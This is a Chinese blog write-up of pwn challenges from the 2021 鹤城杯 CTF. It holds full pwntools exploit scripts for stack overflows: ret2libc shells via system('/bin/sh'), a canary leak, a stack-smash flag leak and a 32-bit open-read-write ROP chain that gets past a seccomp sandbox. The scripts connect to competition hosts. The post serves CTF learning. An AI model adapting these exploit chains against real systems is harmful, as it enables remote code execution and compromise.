2021鹤城杯PWN

前言

这次鹤城杯的题目友善,适合我这种pwn👶玩耍,但是就是这种幼儿园难度,却没能ak,还是太菜了,继续学习吧!迟早👶要变成👴!

babyof

普通栈溢出,没什么好说的,非常基础的题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!usr/bin/env python 
#coding=utf-8
from pwn import *
from LibcSearcher import *
p=remote("182.116.62.85",21613)
#p = process('./littleof')
context.log_level='debug'
elf=ELF('./babyof')
libc = ELF('./libc-2.27.so')
main = 0x40066b
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
pop_rdi = 0x0000000000400743
ret = 0x0000000000400506

payload='a'*0x48 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
p.sendafter('Do you know how to do buffer overflow?\n',payload)
p.recvline()
puts = u64(p.recv(6).ljust(8,'\0'))
print hex(puts)

libc_base = puts - libc.sym['puts']
binsh = libc_base + next(libc.search('/bin/sh'))
system = libc_base + libc.sym['system']

p.recvuntil('Do you know how to do buffer overflow?\n',)
payload = 'a'*0x48 + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
p.send(payload)
p.recvline()
p.interactive()

littleof

这题比上面多了个canary的泄露,其他没什么差别,同样是基础栈溢出题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!usr/bin/env python 
#coding=utf-8
from pwn import *
from LibcSearcher import *
p=remote("182.116.62.85",27056)
#p = process('./littleof')
context.log_level='debug'
elf=ELF('./littleof')
libc = ELF('./libc-2.27.so')
main = 0x00000000004006E2
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
pop_rdi = 0x0000000000400863
ret = 0x000000000040059e

payload='a'*0x48
p.sendlineafter('Do you know how to do buffer overflow?\n',payload)
p.recvuntil('a'*0x48)
canary = u64(p.recv(8)) - 0xa
log.info(hex(canary))
p.recvuntil("Try harder!")
payload = 'a'*0x48 + p64(canary) + 'a'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
p.send(payload)
p.recvline()
puts = u64(p.recv(6).ljust(8,'\0'))
print hex(puts)

libc_base = puts - libc.sym['puts']
binsh = libc_base + next(libc.search('/bin/sh'))
system = libc_base + libc.sym['system']

p.sendlineafter('Do you know how to do buffer overflow?\n','a')
p.recvuntil("Try harder!")
payload = 'a'*0x48 + p64(canary) + 'a'*8 + p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
p.sendline(payload)
p.interactive()

easycho

这题是stack smash,程序把flag读到了.bss上,又有地方可以写泄露pie地址,获得pie地址,也就获得了flag地址,之后通过栈溢出把argv[0]改为指向flag,在引发stack_chk_fail后打印出flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
p = remote("182.116.62.85",24842)
#p = process('./easyecho')
context(log_level = 'debug')
#gdb.attach(p,"b *$rebase(0xB1D)")
p.recvuntil("Name: ")
p.send('a'*0x10)
p.recvuntil("a"*0x10)
pie = u64(p.recv(6).ljust(8,'\x00')) - 0xcf0
flag_addr = 0x0000000000202040 + pie
log.info(hex(pie))
p.recvuntil("Input: ")
p.sendline('backdoor')
p.recvuntil("Input: ")
p.sendline('a'*0x168 + p64(flag_addr))
p.sendlineafter("Input: ",'exitexit')
p.interactive()

pwn1

攻防世界有原题https://blog.csdn.net/seaaseesa/article/details/103093182/

onecho

这题比赛没出,好好写写wp

image-20211104101634726

32位,没开Canary以及PIE

image-20211104101940063

文件开了沙箱,禁用了execve,显然orw题目

image-20211104102233428

scanf的参数是用的%s,存在着溢出点

image-20211104163835309

十分要注意的是不能随便破坏memcpy的参数,存放在返回地址后面,所以这边要写入一个可写的地址进去作为memcpy的参数,因为程序没开PIE,所以bss地址是已知的,选择用bss修复参数。做题时就是这个地方卡住了,一下子没想到memcpy的参数被破坏了,但是又要执行完memcpy才能退栈,所以一直到这边程序就中断了。

所以要先在在伪造出参数,但是参数会阻碍rop的连续,所以返回地址需要填上个gadget把该参数去除,继续执行后面的布置函数进行泄露地址

1
payload += p32(read) + p32(pop3_ret) + p32(0) + p32(bss) + p32(8)

跟上面的去除参数影响一样,因为32位参数是在栈上的,为了rop能够执行后面的函数,那么就要让返回地址是一个gadget,并且要能清除栈上填满的三个参数,所以payload才会是这么写的

然后最后rop链读取flag的 read 和 write 只能用plt的,不能直接使用libc地址的,不然就直接中断了,原因不知,没去深究

image-20211104171620117

成功!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
#p = remote("182.116.62.85",24143)
elf = ELF('./onecho')
libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.31-0ubuntu9.2_i386/libc-2.31.so")
libc = ELF("./libc.so.6")
ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.31-0ubuntu9.2_i386/ld-2.31.so")
p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})
context(os='linux',arch='i386',log_level='info')
main = 0x0804973F
pop_ebx = 0x08049022
pop4_ret = 0x08049810 #pop ebx ; pop esi ; pop edi ; pop ebp ; ret
pop3_ret = 0x08049811 #pop esi ; pop edi ; pop ebp ; ret
bss = 0x0804C000
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

#gdb.attach(p,'b *0x0804966D')
p.recvuntil("[*] Input your name:\n")
payload = 'a'*0x110 + p32(pop_ebx) + p32(bss) + p32(puts_plt) + p32(main) + p32(puts_got)
p.sendline(payload)
puts = u32(p.recv(4))
success("puts:" + hex(puts))
libc_base = puts - libc.sym["puts"]
success("libc_base:" + hex(libc_base))

open = libc_base + libc.sym["open"]
read = elf.plt['read']
write = elf.plt["write"]

payload = 'a'*0x110
payload += p32(pop_ebx) + p32(bss)
payload += p32(read) + p32(pop3_ret) + p32(0) + p32(bss) + p32(8)
payload += p32(open) + p32(pop3_ret) + p32(bss) + p32(0) + p32(0)
payload += p32(read) + p32(pop3_ret) + p32(3) + p32(bss) + p32(0x30)
payload += p32(write) + p32(pop3_ret) + p32(1) + p32(bss) + p32(0x30)


p.sendlineafter("[*] Input your name:\n",payload)
p.sendline("./flag\x00")

p.interactive()

总结

其实题目都挺简单,倒二两题是赛后复现的,说起来都没有很难,但是却能学到挺多东西的,比如倒数第二题,认真学了realloc的作用;倒一呢,更加提醒如果要程序正常一定要保证在真正执行到ret前的每一步都是要没问题的,要认真地结合汇编与gdb单步调试,观察为什么程序就断了,比赛时就没想到,我觉得这不应该,所以这题十分认真地一步步调试、观察,最终复现

另外开心一下,也算是另类“AK”了,虽然他不难,虽然我是赛后补全,哈哈,继续加油吧

查看评论